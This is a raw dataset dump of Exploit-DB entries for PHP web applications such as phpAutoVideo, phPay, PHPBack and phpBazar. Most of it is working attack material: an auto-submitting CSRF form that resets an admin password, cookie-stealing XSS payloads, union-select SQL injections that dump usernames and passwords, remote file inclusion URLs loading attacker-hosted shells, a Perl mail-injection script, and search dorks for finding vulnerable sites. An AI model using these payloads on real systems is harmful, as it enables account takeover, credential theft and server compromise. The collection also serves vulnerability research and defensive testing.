deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11502
Description: phpAutoVideo - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-02-19
Author: GoLdeN-z3r0

Exploit:
##################################################################
#Exploit Title: phpAutoVideo csrf                                #
#SoftWare:https://secure.agaresmedia.com/v6/products/phpautovideo#
#Dork: Copyright Agares Media phpautovideo                       #
#Author: GoLdeN-z3r0                                             #
##################################################################
(-----------------------------------------------------------------)
 |                           PoC :                               |
(-----------------------------------------------------------------)
<html>
<body onload="document.registrationform.submit()">
<form action="http://[site]/admin/coreadmin.php" method="post" name="registrationform">
<input type="hidden" name="admintype" value="changepass">
<input type="hidden" name="passworda" value="z3r0">
<input type="hidden" name="passwordb" value="z3r0">
</form>
</body>
</html>
Exploit-DB #31038
Description: phpAutoVideo 2.21 - 'index.php?cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-18
Author: H-T Team

Exploit:
source: https://www.securityfocus.com/bid/27346/info
 
phpAutoVideo is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
 
Attackers can exploit these issues to execute arbitrary code within the context of the webserver process, steal cookie-based authentication credentials, and launch other attacks.
 
phpAutoVideo 2.21 is vulnerable; other versions may also be affected. 

http://www.example.com/[Target.il]/[Path]/index.php?cat=%22%3E%3Cscript%3Ealert(1);%3C/script%3E
Exploit-DB #31037
Description: phpAutoVideo 2.21 - 'sidebar.php?loadpage' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-18
Author: H-T Team

Exploit:
source: https://www.securityfocus.com/bid/27346/info

phpAutoVideo is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary code within the context of the webserver process, steal cookie-based authentication credentials, and launch other attacks.

phpAutoVideo 2.21 is vulnerable; other versions may also be affected. 

http://www.example.com/[Target.il]/[Path]/theme/phpAutoVideo/LightTwoOh/sidebar.php?loadpage=[SH3LL]
Exploit-DB #2181
Description: PHPay 2.02 - 'nu_mail.inc.php?mail()' Remote Injection
Type: webapps
Platform: php
Date: 2006-08-14
Author: beford

Exploit:
#!/usr/bin/perl
#####################
# Script: phPay v2.02 http://phpay.de/
# Vuln File: nu_mail.inc.php
# Exploit & Advisory: beford <xbefordx gmail com>
# Vulnerability: mail() Injection
# Vuln Code:
# <?php
# if (ereg("nu_mail.inc.php", $SCRIPT_NAME)) header("Location:./index.html");
# elseif (ereg("nu_mail.inc.php", $_SERVER['SCRIPT_NAME'])) header("Location:./index.html");
# $mail_text="$mail_2a\n\n";
# ...
# That *should* prevent direct access to the vulnerable file, but they didnt die()/exit()'ed
# so, pwnt. You need register globals enabled to be able of exploiting this issue.
#
#####################
use LWP::UserAgent;
use URI::URL; 
print "\n[*] phPay v2.02 nu_mail.inc.php mail() Injection\n[*] exploit&advisory: beford <xbefordx gmail com>\n";
if (scalar(@ARGV)<6) {
	print "\tUsage:\t./own.pl <host> <path> <email-to> <email-subject> <email-message> <email-from> [headers]\n";
	print "\t<host> : orly\n";
	print "\t<path> : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n";
	print "\t<email-to> <email-subject> <email-message> <email-from> : duh\n";
	print "\t[headers] : optional extra headers for mail \"%0AContent-type: text/html%0A%0A\"\n\n";
	print "\t./own.pl http://www.vuln.es /phpayv2.02/ x\@mail.co h4x \"hack\" support\@paypal.com \n\n";
	exit;
}
$host = shift @ARGV;
$path = shift @ARGV;
$to = shift @ARGV;
$subject = shift @ARGV;
$message = shift @ARGV;
$from = shift @ARGV;
$headers = shift @ARGV;
my $url = URI::URL->new($full);
$full = $url->as_string;
$full =  "${host}${path}nu_mail.inc.php?mail_text2=${message}&user_row[]=&user_row[5]=${to}&nu_mail_1=${subject}&shop_mail=${from}${headers}";
print "[*] exploiting $host\n";
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new('GET',"$full");
$res = $ua->request($req);
print "\t[*] mail sent\n" if $res->is_success;

# milw0rm.com [2006-08-14]
Exploit-DB #22478
Description: PHPay 2.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-04-09
Author: Ahmet Sabri ALPER

Exploit:
source: https://www.securityfocus.com/bid/7310/info

It has been reported that user-supplied input to phPay is not sufficiently sanitized. This lack of sanitization provides an opportunity for an attacker to launch cross-site scripting attacks.

It is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user.

Any attacker-supplied code will be executed within the context of the website running phPay.

While this vulnerability has been reported to affect phPay version 2.02, previous versions may also be affected. 

http://www.example.com/search.php?sess=your_session_id&lookfor=<script>alert
(document.cookie)</script>
Exploit-DB #22477
Description: PHPay 2.2 - Multiple Full Path Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2003-04-09
Author: Ahmet Sabri ALPER

Exploit:
source: https://www.securityfocus.com/bid/7309/info

phPay has been reported prone to multiple path disclosure vulnerabilities.

It has been reported that when specially crafted requests are made for many phPay pages and include files, an error condition may be triggered. The resulting error message may contain path information relative to the phPay installation and requested file.

Information gathered in this way may be used in further attacks against the system.

This vulnerability has been reported to affect phPay version 2.02. However, previous versions may also be affected. 

http://www.example.com/login.phpsess=your_session_id&abt=&new_lang=99999&caller=navlang

http://www.example.com/start.php?config=alper.inc.php
Exploit-DB #30887
Description: phPay 2.2.1 - Windows Installations Local File Inclusion
Type: webapps
Platform: php
Date: 2007-12-15
Author: Michael Brooks

Exploit:
source: https://www.securityfocus.com/bid/26881/info

phPay is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. The vulnerability resides in code that was intended to protect against file-include attacks. It was found that the protection routines may be bypassed on Windows installations.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. 

http://www.example.com/phpayv2.02a/main.php?config=eregi.inc.php\\..\\admin\\.htaccess

The following example was provided in cases where the PHP 'magic_quotes_gpc' directive is enabled:

http://www.example.com/phpayv2.02a/main.php?config=eregi.inc.php\..\admin\.htaccess
Exploit-DB #10743
Description: phPay 2.2a - Backup
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================             $
| # Title    : phPay V2.2a Backup Vulnerability                                        |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Powered by phPay V2.2a &#65533;2009 kansok.com (http://phpay.sourceforge.net/) |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : Backup                                                                  |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1-http://127.0.0.1/phpayv2.02a/admin/backup/
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #36484
Description: PHPB2B 4.1 - 'q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-01
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/51221/info

PHPB2B is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[patch]/list.php?do=search&q=[XSS]
Exploit-DB #41172
Description: PHPBack < 1.3.1 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-01-26
Author: Manish Tanwar

Exploit:
##################################################################################################
#Exploit Title :PHPback  < version 1.3.1 SQL Injection and XSS vulnerability 
#Author        : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date          : 27/01/2017
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Tested At  : Indishell Lab
##################################################################################################
 
////////////////////////
/// Overview:
////////////////////////
 
PHPBack is an open source feedback system and developed on codeigniter framework. There is SQL Injection in search parameter "query" and XSS issue in desc as well as title ppost parameter
  
 
////////////////
///  POC   ////
///////////////

SQL Injection payload to enumerate tables
----------------------------------------------
http://127.0.0.1/phpback-master/home/search
Post data
query=')%0Aor%0Aextractvalue(6678,concat(0x7e,(select%0Auser()),0x7e))--%0A%23


XSS 
----
http://127.0.0.1/phpback-master/home/postidea
Post data

in desc parameter
desc=</textarea><script>alert(document.cookie);</script>
in title parameter

title="><script>alert(document.location);</script>


SQLI Screenshot 
https://cloud.githubusercontent.com/assets/10351062/14776703/c9440524-0ae5-11e6-9240-a37a685a72b1.png

XSS screenshot
https://cloud.githubusercontent.com/assets/10351062/14811513/14fbebdc-0bb6-11e6-8ea5-229e2ab71eb8.png
 
 
                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,cyber gladiator,Cyber Ace,Golden boy INDIA,d3, rafay baloch, nag256
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3
Exploit-DB #3802
Description: PHPBandManager 0.8 - 'index.php?pg' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-26
Author: koray

Exploit:
author:koray
greetz:cigicigi.net
script:http://sourceforge.net/projects/phpbandmanager

allow_url_fopen:on or register_globals:on

vuln;

/bandmanager/suite/index.php

include($_GET['pg'].".php");

example;

http://www.victim.com/suite/index.php?pg=shell link?

# milw0rm.com [2007-04-26]
Exploit-DB #30707
Description: PHPbasic basicFramework 1.0 - 'Includes.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-24
Author: Alucar

Exploit:
source: https://www.securityfocus.com/bid/26194/info

basicFramework is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects basicFramework 1.0; other versions may also be vulnerable. 

http://www.example.com/includes.php?root=[shell]
Exploit-DB #6258
Description: PHPBasket - 'pro_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-17
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# ---  d3hydr8 - jeed - baltazar - P47r1ck - C1c4Tr1Z - beenu # 
# ---  rsauron  - letsgorun - K1u - DON - OutLawz - MAGE  --- # 
################################################################ 
# 
# Author: r45c4l and sinner_01 
# 
# Home  : www.darkc0de.com & ljuska.org 
# 
# Email : r45c4l@hotmail.com, sinn3r01@gmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# App Name:  PHPBasket 
# 
# Soft.Site: http://www.phpbasket.com/
# 
# Dork: "Powered by PHPBasket" 
# 
# POC-1:-=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+pb4_users-- 
# 
# P0C-2:-=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+pb4_users--
# 
#Example: 
#http://localhost/product.php?cat_id=2&sub_id=14&pro_id=189+and+1=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+pb4_users-- 
#
#http://localhost/product.php?cat_id=2&sub_id=14&pro_id=189+and+1=2+union+all+select+1,2,3,4,concat(use_username,char(58),use_password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+pb4_users-- 
#
################################################################ 
# Vuln Discovered 17/08/2008 

# milw0rm.com [2008-08-17]
Exploit-DB #6280
Description: phpBazar 2.0.2 - 'adid' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-20
Author: e.wiZz!

Exploit:
phpBazar SQL Injection Vulnerability all versions
by:  e.wiZz!
info: Bosnian Idiot FTW!

In the wild....
*********************************************************************
Script site : http://www.smartisoft.com/

Vulnerability:
http://inthewild.com/<INSTALL PATH>/classified.php?catid=x&subcatid=x&adid=x SQL INJECTION

PoC on demo site:

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 order by 911/*
Unknown column '911' in 'order clause'

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 order by 67/*
Unknown column '67' in 'order clause'

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 order by 66/*
Error : Database Query Error

...so its 66...omg :D
you can find columns this like:
http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 union select sum(somecolumn) from users--

username,password:

http://www.xxx.com/bazar/classified.php?catid=2&subcatid=5&adid=832 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,username,password,53,54,55,56,57,58,59,60,61,62,63,64,65,66 from mysql.user/*

# milw0rm.com [2008-08-20]
Exploit-DB #1804
Description: phpBazar 2.1.0 - Remote File Inclusion / Authentication Bypass
Type: webapps
Platform: php
Date: 2006-05-19
Author: [Oo]

Exploit:
Title: phpBazar <= 2.1.0 Multiple vulnerabilites
URL: http://www.smartisoft.com/
Dork: inurl:classified.php phpbazar

Exploits:
-remote file inclusion: /classified_right.php?language_dir=http://yourhost/cmd.gif?cmd=ls
-access to admin login and password: /admin/admin.php?action=edit_member&value=1

# milw0rm.com [2006-05-19]
Exploit-DB #12855
Description: phpBazar 2.1.1 stable - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-03
Author: Sid3^effects

Exploit:
# Title: phpBazar V2.1.1 stable rfi Vulnerability
# Author: Sid3^effects
# Published: 2010-06-03 
# Verison: 2.1.1 stable
# vendor: SmartISoft
  
 
        ooooo  .oooooo.  oooooo   oooooo     oooo 
        `888' d8P'  `Y8b  `888.    `888.     .8' 
         888 888           `888.   .8888.   .8' 
         888 888            `888  .8'`888. .8' 
         888 888             `888.8'  `888.8'  
         888 `88b    ooo      `888'    `888' 
        o888o `Y8bood8P'       `8'      `8'    
                                          
-------------------------------------------------------------------------------------- 
#####################Sid3^effects aKa HaRi################################## 
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors] 
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR 
#ShouTZ:kedar,dec0d3r,41.w4r10r      
#Catch us at www.andhrahackers.com or www.teamicw.in 
############################################################################ 
   
Description : 
phpBazar is a PHP/MySQL-based higly customizable template-driven classified ad script. Features: Install tool, Multi-languare support, Easy configuration via
CSS, User management, Ad pictures stored in MySQL or text file, Ad attachments, Unlimited categories, Structured category display, Picture display, WebMail,
Send URL-refer, My ad entries, My ad favorites, Search engine, Ad rating, CatNotify, Expired ads notification, Ad-of-the-Day, Flood protection, Member
list/search/details, IP-logging/banning, E-mail and username banning, Dirty and long word filter, Admin ad-approval, Web admin panel, Useronline, and more.
Includes guestbook, voting script and Forum & Chat interface. English, German and French languages incl. Also available are picture library, sales, and chat
options
############################################################################ 
The older versions of phpBazar had many vulnerabilities and the latest verion of phpBazar V2.1.1 stable has got rfi bug
Xploit :
   demo url:http://server/bazar/picturelib.php?cat=[rfi]
         
############################################################################ 
#Sid3^effects
Exploit-DB #10245
Description: phpBazar 2.1.1fix - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2009-11-28
Author: MizoZ

Exploit:
/*

Author          : MizoZ [from MA]
Group           : EvilWay, evilway[at]mail[dot]com
Email           : mizozx[at]gmail[dot]com

Greetz          : Zuka, Dyle !!

MABROOK L3IIIIIIIIIID

*/

The vulnerability is in the $_GET['catid'] , exploit :
http://server/classified.php?catid=2+and+1=0+union+all+select+1,2,3,4,5,6,7--
Exploit-DB #14439
Description: phpBazar Admin - Information Disclosure
Type: webapps
Platform: php
Date: 2010-07-22
Author: Net_Spy

Exploit:
=====================================
phpBazar admin information discloser Vulnerability
=====================================

Author                 :: Net_Spy
Group                  :: Aras cyber Army
Email                  :: tvc82_2002@yahoo.com
Discover               :: 1 july 2010
Critical Lvl           :: M
Published              :: 22 july 2010
Vendor                 :: http://www.smartisoft.com/
---------------------------------------------------------------------------
~~~~~~~~~

Dork                   :: intitle: phpBazar-AdminPanel

~~~~~~~~~~~~~~~~~~

demo                   :: http://www.target.com/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0
                         

~~~~~~~~~~~~~~~~~~~~~~~~~

Example Just For Edu   :: http://www.site.com/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0
             
              
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+++++++++++++++++++++++++++++++++++++++
[!] greetiz to ::
    DrgPxX,D3stan,hackfaz,hamed.err000r,Net_Spy,jawadn
    All aras cyber amry members
   
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #10233
Description: phpBazar-2.1.1fix - Remote Administration-Panel
Type: webapps
Platform: php
Date: 2009-11-25
Author: kurdish hackers team

Exploit:
phpBazar-2.1.1fix Remote Administration-Panel Vulnerability


<<!>> Found by? :? kurdish hackers team

<<!>> C0ntact : pshela [at] YaHoo .com 
?????????????????? 
<<!>> Groups : Kurd-Team 

<<!>> site?? : www.kurdteam.org

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script: phpBazar-2.1.1fix

<<->> download script ::
 http://www.smartisoft.com/products.php?product=phpbazar

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
<<->> Dork:phpBazar Ver. 2.1.0



<<->> Exploit ::

>>> http://server/path/admin/admin.php

Now we have admin control panel...

<<->> Demo :

http://server/ll/phpBazar-2.1.1fix/admin/admin.php

http://server/admin/admin.php

=======================================================

=======================================================

<<->> All freinds , Zryan_kurd , all member kurdish hackers team
Exploit-DB #28024
Description: phpBB - 'BBRSS.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-14
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18432/info

The bbrss plugin for PhpBB is prone to a remote file-include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/bbrss.php?phpbb_root_path=Command*Shell